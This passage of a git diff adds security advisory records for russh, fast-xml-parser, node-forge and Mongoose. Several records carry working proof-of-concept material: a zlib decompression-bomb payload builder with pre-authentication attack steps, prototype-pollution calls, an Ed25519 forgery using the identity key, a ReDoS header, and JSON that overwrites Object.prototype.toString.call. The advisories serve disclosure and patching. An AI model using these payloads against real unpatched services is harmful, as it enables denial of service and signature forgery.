transport length checks and then inflate it into a much larger packet after decompression.\n\nIt was verified that an attacker-crafted compressed payload can stay below the normal `256 KiB` implementation transport packet cap while still inflating above the intended post-decompression bound. In other words, this is not only a \"large on-wire packet\" issue.\n\nVersion detail:\n\n- The underlying post-decompression bounds bug appears to affect `russh` as far back as `0.34.0`.\n- In historical releases `>= 0.34.0, < 0.58.0`, the remote decompression path still used `CryptoVec`. Remote compressed SSH traffic could drive that path, and under constrained memory that historical code path could abort the process.\n- In current-style releases `>= 0.58.0`, non-secret packet/decompression buffers were moved off `CryptoVec` and onto `Vec<u8>`, but the post-decompression size still remained unbounded. So the bug class remained reachable remotely, but the maintained-line impact is a current remote DoS / oversized-packet-acceptance issue rather than the older `CryptoVec`-based abort story.\n- The maintained-line fix was verified against `0.60.2`.\n\nCompression is not selected in a default-vs-default `russh` session because the default preference order puts `none` first. However, the default server configuration still advertises `zlib` and `zlib@openssh.com`, and server-side negotiation follows the client's preference order for common algorithms. A client that prefers compression can therefore negotiate it with a default `russh` server.\n\nOpenSSH portable was checked at `/home/mjc/projects/openssh-portable` commit `45b30e0a5`. OpenSSH enforces a `256 KiB` transport packet cap before decompression, but it does not reuse that cap after decompression. Instead, decompression writes to an `sshbuf`, which is indirectly bounded by OpenSSH's `SSHBUF_SIZE_MAX` hard maximum of `0x8000000` bytes (`128 MiB`).\n\nThe patch direction should follow that model: add an explicit post-decompression ceiling of `128 MiB`, rather than assuming the compressed transport packet cap also bounds decompressed payload size.\n\nRelevant OpenSSH reference points:\n\n- `/home/mjc/projects/openssh-portable/packet.c`: `PACKET_MAX_SIZE (256 * 1024)`\n- `/home/mjc/projects/openssh-portable/packet.c`: `uncompress_buffer()` inflates into `compression_buffer`\n- `/home/mjc/projects/openssh-portable/sshbuf.h`: `SSHBUF_SIZE_MAX 0x8000000`\n\n### RFC / OpenSSH Comparison\n\nRFC 4253 section 6 defines the binary packet format:\n\n- `packet_length`\n- `padding_length`\n- `payload`\n- random padding\n- MAC\n\nRFC 4253 section 6.2 says that, when compression is negotiated, the `payload` field is compressed, and that `packet_length` and MAC are computed from the compressed payload. The RFC also says implementations should check that packet length is reasonable to avoid denial-of-service and buffer-overflow attacks.\n\nThat means the pre-decompression transport packet length check is necessary but not sufficient. A correct implementation still needs a reasonable bound on the decompressed payload that becomes parser input.\n\nOpenSSH provides such a bound indirectly through `sshbuf`'s hard maximum. The `russh` fix should make the corresponding post-decompression bound explicit.\n\n### PoC\n\nThere were two kinds of proof:\n\n- a wire-cap sanity test showing an attacker-crafted best-compressed `DEBUG` payload can stay below the normal SSH transport packet cap while still inflating beyond the intended post-decompression bound\n- direct client and server receive-path tests that exercise the oversized post-decompression behavior itself\n\nThe current in-tree regression tests are:\n\n- `tests::compress::oversized_debug_payload_can_stay_below_wire_cap`\n- `compression::tests::oversized_decompressed_packet_is_rejected`\n- `client::tests::compressed_debug_is_ignored_after_client_parses_it`\n- `client::tests::oversized_compressed_debug_is_rejected_before_client_ignores_it`\n- `server::session::tests::compressed_debug_is_ignored_after_server_parses_it`\n- `server::session::tests::oversized_compressed_debug_is_rejected_before_server_ignores_it`\n\nThe important behavior is:\n\n1. An attacker-crafted best-compressed `DEBUG` payload can stay below the normal `256 KiB` transport packet cap while still inflating beyond `128 MiB`.\n2. In the direct client and server receive paths, small compressed `DEBUG` packets are still ignored normally after parsing.\n3. In the direct client and server receive paths, oversized compressed `DEBUG` packets are rejected before the implementation reaches the normal \"ignore DEBUG\" behavior.\n\nThe strongest PoC for severity is the unauthenticated server-side case. A malicious client can choose `zlib` in the initial key exchange, because the default server advertises it and server-side negotiation follows the client's preference order for common algorithms. After `NEWKEYS`, but before authentication, the client can send a transport-layer `SSH_MSG_DEBUG` packet whose compressed body is below the transport packet cap but whose decompressed body exceeds the post-decompression cap.\n\nThat demonstrates the `AV:N/AC:L/PR:N/UI:N` case directly: the attacker is a remote SSH client and does not need a successfully authenticated session.\n\n```rust\nfn compressed_debug_payload(payload_len: usize) -> Vec<u8> {\n    let mut payload = vec![b'A'; payload_len];\n    payload[0] = crate::msg::DEBUG;\n\n    let mut encoder =\n        flate2::write::ZlibEncoder::new(Vec::new(), flate2::Compression::best());\n    encoder.write_all(&payload).unwrap();\n    let compressed = encoder.finish().unwrap();\n\n    assert!(\n        compressed.len() < 256 * 1024,\n        \"oversized post-decompression payload still fits under the wire cap\"\n    );\n    compressed\n}\n\nfn incoming_packet(compressed: Vec<u8>) -> SSHBuffer {\n    let mut buffer = SSHBuffer::new();\n    // maybe_decompress() receives the clear SSHBuffer after packet framing,\n    // and decompresses bytes after packet_length + padding_length.\n    buffer.buffer.extend_from_slice(&[0; 5]);\n    buffer.buffer.extend_from_slice(&compressed);\n    buffer\n}\n\n#[test]\nfn unauthenticated_client_zlib_debug_is_rejected_by_server_before_auth() {\n    let mut server = preauth_server_session_after_newkeys_with_zlib_decompressor();\n    let oversized = MAXIMUM_DECOMPRESSED_PACKET_LEN + 1024;\n    let buffer = incoming_packet(compressed_debug_payload(oversized));\n\n    let err = server.maybe_decompress(&buffer).unwrap_err();\n    assert!(\n        matches!(err, crate::Error::PacketSize(len) if len > MAXIMUM_DECOMPRESSED_PACKET_LEN)\n    );\n}\n```\n\nThe equivalent wire-level attack shape is:\n\n```text\n1. Connect to a russh server using the default compression advertisement.\n2. Send SSH_MSG_KEXINIT with compression client-to-server preference:\n   zlib,zlib@openssh.com,none\n3. Complete key exchange and send SSH_MSG_NEWKEYS.\n4. Before any SSH_MSG_USERAUTH_REQUEST, send a compressed SSH_MSG_DEBUG packet:\n   - compressed packet body: < 256 KiB\n   - decompressed packet body: > 128 MiB\n5. Vulnerable behavior: russh accepts and inflates the packet, then reaches the\n   normal DEBUG ignore path.\n6. Fixed behavior: russh rejects during decompression with Error::PacketSize.\n```\n\nThe direct receive-path client/server regression tests are still useful because they isolate the bug precisely. They construct the post-decryption compressed packet body passed to `maybe_decompress()` and prove that the oversized packet is rejected before normal `DEBUG` ignore handling. The server-side pre-auth variant above is the one that justifies the highest CVSS framing for this bug.\n\nThe most important targeted checks are:\n\n```bash\ncargo test -p russh oversized_debug_payload_can_stay_below_wire_cap -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_client_ignores_it -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_server_ignores_it -- --nocapture\n```\n\nBefore the fix, both the direct client and direct server receive-path oversized checks went red because the compressed payload was accepted and decompressed instead of being rejected at the post-decompression boundary. After the fix, they pass.\n\n### Impact\n\nSuggested CVSS v3.1 for current maintained releases:\n\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- Score: `7.5`\n\nReasoning:\n\n- `AV:N`: reachable by a remote SSH peer\n- `AC:L`: straightforward once compression is enabled\n- `PR:N`, `UI:N`: no prior auth or user interaction required\n- `C:N`, `I:N`: confidentiality or integrity impact was not demonstrated\n- `A:H`: remote peer can cause oversized post-decompression packet processing and disconnect / denial of service\n\nAffected versions:\n\n- historical stronger case: `russh >= 0.34.0, < 0.58.0`\n- current maintained remote DoS case: `russh >= 0.58.0`, including `0.60.3`\n\n### Fix / Patch Direction\n\nAdd an explicit maximum decompressed SSH packet size and enforce it inside `Decompress::decompress()` before returning decompressed bytes to the client or server packet parser.\n\nThe intended ceiling is `128 MiB`, matching OpenSSH portable's effective `sshbuf` hard maximum for post-decompression packet storage. The fix should reject decompression output larger than that bound with a packet-size error before normal message dispatch.\n\nThe fix should preserve normal compressed packet behavior below the cap, including `DEBUG` packets that are decompressed and then ignored through the existing normal path.\n\nPatch branch:\n\n```text\nfix/zlib-decompression-cap\n```","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wwx6-x28x-8259/GHSA-wwx6-x28x-8259.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-wwx6-x28x-8259"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46702"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/2692a6f66edafaf63f463c412b45d8490f7ad06e"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.61.1"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-05-29T19:37:14Z","nvd_published_at":"2026-06-10T22:17:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-474x-hrwr-fgx4.json b/data/npm/GHSA-474x-hrwr-fgx4.json
new file mode 100644
index 0000000000..5d6341cbf7
--- /dev/null
+++ b/data/npm/GHSA-474x-hrwr-fgx4.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-474x-hrwr-fgx4","published":"2026-11-10T21:09:44Z","modified":"2026-11-10T21:15:03.074649810Z","aliases":["CVE-2026-126066"],"summary":"fast-xml-parser: Quadratic CPU consumption scanning unterminated stop-node tags","details":"### Summary\n\nWith the non-default stopNodes option, a stop node's body with many \"<a \" fragments and no closing \">\" anywhere after makes readStopNodeData() rescan the entire remaining input from every \"<\". The failed lookahead is neither cached nor bounded, so n fragments cost O(n²) before the parser throws. Availability-only (CPU exhaustion), needs the non-default stopNodes option — not benchmarked yet, see Proof of Concept.\n\n### Details\n\n**CWE-407** — Inefficient Algorithmic Complexity\n\n**Code**\n- `OrderedObjParser.js:520` — `parseXml()` calls `readStopNodeData()` after a matching stop node opens\n- `OrderedObjParser.js:810` — calls `readTagExp()` for every non-special `<`\n- `OrderedObjParser.js:688-722` — `tagExpWithClosingIndex()` scans to end-of-input and returns `undefined` when no `>` exists\n- `OrderedObjParser.js:812-818` — on failure, `i` isn't advanced, so the next `<` repeats the same full scan\n- `OrderedObjParser.js:423` — the main parse loop throws immediately on the same failure; only the stop-node path retries\n\n**Root cause:** a failed closing-`>` lookahead is neither cached nor bounded — `n` copies of `<a ` with no later `>` means `n` scans over the remaining input, O(n²) work, before it finally throws.\n\n**Fix**\n1. Throw immediately in `readStopNodeData()` when `readTagExp()` returns `undefined`\n2. Or break the loop on the first failed scan\n3. Or find the next `>` once and reuse/bound that result\n4. Add a test asserting near-linear scaling when payload size doubles\n\n### Proof of concept\n\nNot benchmarked — static-analysis finding, confidence 0.5.\n\nTo confirm: configure `stopNodes` matching a root element. Build input as `'<stop>' + '<a '.repeat(n)`. Time `parse()` until it throws `Unexpected end of <tag>`. Start around n=10,000 and double it — quadratic should show ~4x time per doubling, linear ~2x. Control: same input with a `>` present, or `stopNodes` unset.\n\n### Impact\n\nCPU-exhaustion DoS in Node.js services parsing untrusted XML with `stopNodes` enabled. A ~100KB payload is estimated at ~10⁹ character operations (roughly a second or more of blocked event loop) — analytical estimate, not a benchmark. No confidentiality/integrity impact. CVSS 3.1: `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L` (3.7, Low).","affected":[{"package":{"name":"fast-xml-parser","ecosystem":"npm","purl":"pkg:npm/fast-xml-parser"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.12.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 5.11.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-474x-hrwr-fgx4/GHSA-474x-hrwr-fgx4.json"}}],"references":[{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-474x-hrwr-fgx4"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/0c3659348364959da62954b73728fb3bd05ebcb4"},{"type":"PACKAGE","url":"https://github.com/NaturalIntelligence/fast-xml-parser"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.12.0"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:09:44Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-6889-vf6x-f3g5.json b/data/npm/GHSA-6889-vf6x-f3g5.json
new file mode 100644
index 0000000000..dd91738ef3
--- /dev/null
+++ b/data/npm/GHSA-6889-vf6x-f3g5.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-6889-vf6x-f3g5","published":"2026-11-10T21:18:23Z","modified":"2026-11-10T21:30:03.999616287Z","aliases":["CVE-2026-125335"],"summary":"Forge: Ed25519 signature verification accepts small-order public keys","details":"### Summary\n`ed25519.verify()` does not reject public keys of small order, such as the identity point. Under such a key, a signature with `S = 0` and a small-order `R` verifies for many messages, or for every message with the identity key, without any private key. Fixed in node-forge 1.4.3.\n\n### Details\n`crypto_sign_open()` in `lib/ed25519.js` decodes the public key `A` with `unpackneg()`, which only checks that the point is on the curve, and then checks `R == [S]B - [k]A` with `k = SHA-512(R || A || M)`. Nothing rejects public keys of small order: the identity point, the other 7 points of order 2, 4 or 8, and their non-canonical encodings with `y >= p`.\n\nWith `S = 0`, the check becomes `R == [k](-A)`. For a small-order `A`, `[k](-A)` is one of at most 8 small-order points, so an attacker can make a valid signature by trying the small-order values of `R`. For the identity key (`01 00 … 00`), `R = identity` and `S = 0` verifies for every message. For the other small-order keys, a given message can be forged with high probability. No private key is involved. The `S < L` check added for CVE-2026-33895 (GHSA-q67f-28xg-22rw) doesn't apply, because `S = 0` is canonical.\n\nKeys produced by Ed25519 key generation (`ed25519.generateKeyPair()` or any RFC 8032 implementation) are never small-order, so signatures under them cannot be forged this way. Applications are affected when they verify signatures against a public key an attacker can choose (for example a key included with the signed data, a self-registered key, or a key in an attacker-controlled document) and rely on the signature being bound to the message: proof of possession, attribution, non-repudiation or deduplication.\n\nRFC 8032 doesn't require rejecting small-order public keys, and implementations differ. libsodium rejects them, and Node.js `crypto.verify()` (OpenSSL) rejects these signatures.\n\nThe fix rejects a public key `A` when `[8]A` is the identity point. This covers all small-order points and their non-canonical encodings.\n\n#### Patches\nFixed in node-forge 1.4.3. `ed25519.verify()` returns `false` for small-order public keys.\n\n#### Workarounds\nBefore calling `ed25519.verify()` with a public key from untrusted input, reject keys whose 32-byte encoding is one of the small-order points (the identity `01 00 … 00` and the other encodings that libsodium blocks), or only verify against keys you generated or have otherwise validated.\n\n#### Resources\n- RFC 8032, Section 5.1.7 (Ed25519 verification): https://www.rfc-editor.org/rfc/rfc8032#section-5.1.7\n- GHSA-q67f-28xg-22rw / CVE-2026-33895 (a different Ed25519 verification issue, fixed in 1.4.0): https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N (3.7, Low)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N (6.3)\nCVSS 4.0 rates this Moderate because its integrity weighting is higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @analisaperlengkapan.\n\n### Proof of concept\nIdentity public key `A = 01 00 … 00` (32 bytes) and signature `R = 01 00 … 00`, `S = 00 … 00` (64 bytes):\n\n    forge.ed25519.verify({message: 'admin=true', encoding: 'utf8',\n      signature: SIG, publicKey: IDENTITY});\n    // <= 1.4.2: true for any message; node:crypto.verify(): false\n    // 1.4.3: false\n\nOther small-order public keys (orders 2, 4 and 8, and non-canonical encodings) give forgeries for many messages with `S = 0` and a small-order `R`.\n\nRegression tests are in tests/unit/ed25519.js, and the reporter's PoC is in tests/pocs/ghsa-6889-vf6x-f3g5.js.\n\n### Impact\nApplications that verify Ed25519 signatures with node-forge against a public key that an attacker can choose are affected. An attacker can provide a small-order public key and then produce signatures that verify for many or all messages without a private key, defeating checks that rely on a signature being bound to its message under that key (proof of possession, attribution, non-repudiation, deduplication). Signatures under keys from honest key generation cannot be forged, and applications that only verify against their own or otherwise trusted keys are not affected.","affected":[{"package":{"name":"node-forge","ecosystem":"npm","purl":"pkg:npm/node-forge"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.3"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.4.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6889-vf6x-f3g5/GHSA-6889-vf6x-f3g5.json"}}],"references":[{"type":"WEB","url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-6889-vf6x-f3g5"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/pull/1169"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/commit/1b77e6f20082d7484479303d0252d5f427651295"},{"type":"PACKAGE","url":"https://github.com/digitalbazaar/forge"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.3"}],"database_specific":{"cwe_ids":["CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:18:23Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-6972-9mcm-vhwj.json b/data/npm/GHSA-6972-9mcm-vhwj.json
new file mode 100644
index 0000000000..c25ef83e1e
--- /dev/null
+++ b/data/npm/GHSA-6972-9mcm-vhwj.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-6972-9mcm-vhwj","published":"2026-11-10T20:46:33Z","modified":"2026-11-10T21:00:03.527469283Z","aliases":["CVE-2026-125118"],"summary":"Mongoose: Prototype pollution via Schema.prototype.virtual()","details":"### Summary\n\nPrototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema({});\n\nschema.virtual('__proto__.polluted');\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty('polluted')); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, 'polluted').enumerable); // true\n\nschema.virtual('constructor.prototype.opol');\nconsole.log(({}).opol); // true\n\nschema.virtual('hasOwnProperty.__proto__.fpol');\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).","affected":[{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.13.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.8.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.24.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.0.0"},{"fixed":"9.11.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}}],"references":[{"type":"WEB","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125118"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4"}],"database_specific":{"cwe_ids":["CWE-1321"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T20:46:33Z","nvd_published_at":"2026-11-09T23:17:22Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-6cv4-p8m7-4r25.json b/data/npm/GHSA-6cv4-p8m7-4r25.json
new file mode 100644
index 0000000000..4dd9a93b5e
--- /dev/null
+++ b/data/npm/GHSA-6cv4-p8m7-4r25.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-6cv4-p8m7-4r25","published":"2026-11-10T21:16:22Z","modified":"2026-11-10T21:30:03.999795607Z","aliases":["CVE-2026-125333"],"summary":"Forge: ReDoS in forge.http response header and cookie trimming","details":"`forge.http` trims response header and `Set-Cookie` values with the regular expression `/\\s*$/`, which takes quadratic time on a long run of whitespace followed by another character. A server or on-path attacker can block a `forge.http` client for minutes with one large response header. Fixed in node-forge 1.4.3.\n\n### Details\n`_trimString()` in `lib/http.js` removes trailing whitespace with `str.replace(/\\s*$/, '')`. On a string of n whitespace characters followed by a non-whitespace character, the regular expression engine tries a match at each of the n positions and scans the rest of the run each time, so the work is O(n^2). `forge.http` calls `_trimString()` on every response header value read by `response.readHeader()`, and again on cookie names and values in `response.getCookies()`. There is no limit on header size.\n\nWith Node.js 24, an 80 KB header value takes about 4 seconds to parse, and 1 MB about 10 minutes, during which the event loop (or browser tab) is blocked.\n\n`forge.http` is not loaded by `require('node-forge')`. It is part of the `forge.all` bundle and needs a socket pool provided by the application (historically Flash sockets via `forge.xhr`), so few applications use it.\n\nThe fix trims trailing whitespace with a loop, as `lib/pem.js` has done since 1.4.1. The trimmed result is unchanged.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nLimit the size of HTTP response headers before passing them to `forge.http`, for example in the socket pool's data handler.\n\n#### Resources\n- Related: GHSA-7wch-p9px-956x (ReDoS in PEM decoding, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-7wch-p9px-956x\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @manus-pi.\n\n### Proof of concept\n    var response = forge.http.createResponse();\n    var ws = new Array(40001).join('\\t ');\n    response.readHeader(forge.util.createBuffer(\n      'HTTP/1.1 200 OK\\r\\nX-A: a' + ws + 'X\\r\\n\\r\\n'));\n    // <= 1.4.2: about 4 seconds (quadratic in the whitespace length)\n    // 1.4.3: about 1 ms\n\nRegression tests are in tests/security/ghsa-6cv4-p8m7-4r25.js.\n\n### Impact\nApplications that use `forge.http` to talk to servers they don't control are affected. The server, or an on-path attacker, can send a response header that blocks the client's event loop for minutes, denying service to everything else in the process. There is no confidentiality or integrity impact.","affected":[{"package":{"name":"node-forge","ecosystem":"npm","purl":"pkg:npm/node-forge"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.1.2"},{"fixed":"1.4.3"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.4.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6cv4-p8m7-4r25/GHSA-6cv4-p8m7-4r25.json"}}],"references":[{"type":"WEB","url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-6cv4-p8m7-4r25"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/pull/1169"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/commit/326a4d0903ee46358bc849a5c3fd96d9c21489bd"},{"type":"PACKAGE","url":"https://github.com/digitalbazaar/forge"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.3"}],"database_specific":{"cwe_ids":["CWE-1333"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:16:22Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-8332-j7wj-wjw4.json b/data/npm/GHSA-8332-j7wj-wjw4.json
new file mode 100644
index 0000000000..853764e648
--- /dev/null
+++ b/data/npm/GHSA-8332-j7wj-wjw4.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-8332-j7wj-wjw4","published":"2026-11-10T20:56:16Z","modified":"2026-11-10T21:00:03.523691653Z","aliases":["CVE-2026-125117"],"summary":"Mongoose walks into inherited properties when hydrating, setting, and merging, allowing overwrites of built-in functions (denial of service) and shared schema state","details":"### Summary\n\nThree Mongoose code paths copy data into objects by property name without checking whether the property is the object's own or inherited from its prototype:\n\n1. Loading a document from the database (`init()`, also used by `Model.hydrate()`)\n2. Setting a dotted path on a document (`$__set`, used by `new Model(obj)`, `doc.set()` and `doc.$set()`)\n3. Merging update documents (`utils.mergeClone`, used by `findOneAndReplace()`, chained update calls and `Query.prototype.merge()`)\n\nWhen a key names an inherited property, such as `toString` or `valueOf`, or a document internal such as `$__schema`, Mongoose writes into the shared object behind that property. The data comes from the attacker.\n\n- **Denial of service.** For example, `{ \"toString\": { \"call\": 1 } }` overwrites `Object.prototype.toString.call`. Mongoose and most other libraries rely on `Object.prototype.toString.call()`. After the overwrite, every later query in the process throws `TypeError: _toString.call is not a function` until the process restarts. This includes queries on unrelated models.\n- **Changing shared schema state.** Through a subdocument with `strict: false`, a path such as `profile.$__schema.paths.email.validators` reaches the subdocument's schema, which every document shares. Setting it to `[]` removes the `required` validator for every document in the process.\n\nMongoose already blocked `__proto__`, `constructor` and `prototype`, so these bugs cannot add properties to `Object.prototype` itself. They can still overwrite methods and properties of shared built-in functions and of Mongoose's internal objects.\n\n### Details\n\n#### 1. Loading documents: `init()`\n\n```js\nif (!schemaType && utils.isPOJO(value)) {\n  // assume nested object\n  if (!doc[i]) { doc[i] = {}; ... }\n  init(self, value, doc[i], opts, path + '.');\n}\n```\n\nFor a stored field named `toString`, `doc[i]` is the inherited `Object.prototype.toString`. It is truthy, so `init()` recurses into that function and copies the stored subfields onto it.\n\nThis runs for every document Mongoose loads: `find()`, `findOne()`, cursors, populated documents and `Model.hydrate()`. It runs whatever the `strict` setting, and it applies to top-level and nested paths alike. `lean()` queries are not affected.\n\nA malicious document can get into the collection in several ways:\n- through a model with `strict: false`, for example `new Model(req.body).save()`;\n- through another application or the raw MongoDB driver;\n- through any update that writes arbitrary keys.\n\n#### 2. Setting dotted paths: `$__set`\n\nWhen it walks a dotted path, `$__set` read `obj[parts[i]]` and descended into whatever it found. That included inherited functions, such as `Object.prototype.toString` on a plain object or `Document.prototype.toObject` on a subdocument. On subdocuments it also included non-function internals that are prototype getters, such as `$__schema`, `schema`, `$__middleware` and `$__schemaTypeOptions`. Those point at objects that every document of the model shares.\n\nAttacker-controlled input reaches this path through:\n- **A `Mixed` path on a default, strict schema:** `new Model({ \"mixed.toString.call\": 1 })`, or `doc.set({ \"mixed.toString.call\": 1 })`. Nothing needs to be saved.\n- **Any root path on a schema with `strict: false`:** for example `doc.set('toString.call', 1)`.\n- **A subdocument with `strict: false`**, when the application passes a user-controlled path to `doc.set(path, value)`: for example `doc.set('profile.$__schema.paths.email.validators', 